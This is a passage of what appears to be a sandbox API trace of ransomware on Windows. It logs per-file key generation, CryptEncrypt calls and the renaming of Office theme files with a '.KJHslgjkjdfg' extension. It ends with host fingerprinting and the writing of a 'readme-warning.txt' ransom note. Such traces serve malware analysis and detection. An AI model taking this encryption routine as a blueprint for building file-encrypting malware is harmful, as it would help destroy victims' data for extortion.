lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.664] GetProcessHeap () returned 0x2a0000 [0147.664] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.664] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.666] CloseHandle (hObject=0x118) returned 1 [0147.666] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b366a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a8037d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b366a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbba7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QUAD.ELM", cAlternateFileName="")) returned 1 [0147.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.667] GetProcessHeap () returned 0x2a0000 [0147.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.667] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.667] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.667] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0147.670] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.670] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.670] GetProcessHeap () returned 0x2a0000 [0147.670] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.670] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.670] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.670] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.670] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.670] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.670] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.670] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.671] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.671] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.671] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.671] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.671] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbba7, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xbba7, lpOverlapped=0x0) returned 1 [0147.672] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xbbb0, dwBufLen=0xbbb0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xbbb0) returned 1 [0147.672] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.672] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbbb0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xbbb0, lpOverlapped=0x0) returned 1 [0147.673] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.673] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xbc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.673] SetEndOfFile (hFile=0x118) returned 1 [0147.675] GetProcessHeap () returned 0x2a0000 [0147.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.675] GetProcessHeap () returned 0x2a0000 [0147.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.kjhslgjkjdfg")) returned 1 [0147.678] CloseHandle (hObject=0x118) returned 1 [0147.678] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="QUAD.INF", cAlternateFileName="")) returned 1 [0147.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.679] GetProcessHeap () returned 0x2a0000 [0147.680] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.680] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.680] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.680] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.681] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.681] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.681] GetProcessHeap () returned 0x2a0000 [0147.681] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.681] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.681] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.681] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.682] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.682] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.682] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.682] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.682] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.682] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.682] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.682] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.682] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x258, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x258, lpOverlapped=0x0) returned 1 [0147.682] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x260, dwBufLen=0x260 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x260) returned 1 [0147.682] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.682] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x260, lpOverlapped=0x0) returned 1 [0147.682] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.682] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.682] SetEndOfFile (hFile=0x118) returned 1 [0147.685] GetProcessHeap () returned 0x2a0000 [0147.685] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.685] GetProcessHeap () returned 0x2a0000 [0147.685] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.685] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf.kjhslgjkjdfg")) returned 1 [0147.689] CloseHandle (hObject=0x118) returned 1 [0147.689] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.689] GetProcessHeap () returned 0x2a0000 [0147.689] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.689] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.689] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.690] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.692] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.692] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.692] GetProcessHeap () returned 0x2a0000 [0147.692] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.692] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.692] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.692] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.692] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.692] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.692] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.692] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.692] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.692] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.692] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.692] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.692] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x90f8, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x90f8, lpOverlapped=0x0) returned 1 [0147.694] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x9100, dwBufLen=0x9100 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x9100) returned 1 [0147.694] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.694] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x9100, lpOverlapped=0x0) returned 1 [0147.694] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.694] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x91d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.694] SetEndOfFile (hFile=0x118) returned 1 [0147.698] GetProcessHeap () returned 0x2a0000 [0147.698] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.698] GetProcessHeap () returned 0x2a0000 [0147.698] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0147.699] CloseHandle (hObject=0x118) returned 1 [0147.699] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x90f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0147.699] GetProcessHeap () returned 0x2a0000 [0147.699] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.699] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.699] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0147.699] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.699] GetProcessHeap () returned 0x2a0000 [0147.699] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0147.699] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.699] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0147.699] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.699] GetProcessHeap () returned 0x2a0000 [0147.699] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f6728 [0147.699] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.699] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f6728, pdwDataLen=0x290ee20 | out: pbData=0x2f6728, pdwDataLen=0x290ee20) returned 1 [0147.699] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.700] GetProcessHeap () returned 0x2a0000 [0147.700] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0147.700] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.700] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0147.700] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.700] GetProcessHeap () returned 0x2a0000 [0147.700] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.700] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.700] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0147.700] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.700] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0147.700] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0147.700] RegCloseKey (hKey=0x118) returned 0x0 [0147.700] GetProcessHeap () returned 0x2a0000 [0147.700] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0147.700] GetProcessHeap () returned 0x2a0000 [0147.700] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.700] GetProcessHeap () returned 0x2a0000 [0147.700] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0147.701] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0147.701] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0147.701] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.701] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0147.701] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0147.701] GetProcessHeap () returned 0x2a0000 [0147.701] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0147.701] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0147.701] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0147.701] GetProcessHeap () returned 0x2a0000 [0147.701] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0147.701] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\readme-warning.txt") returned 79 [0147.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.703] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 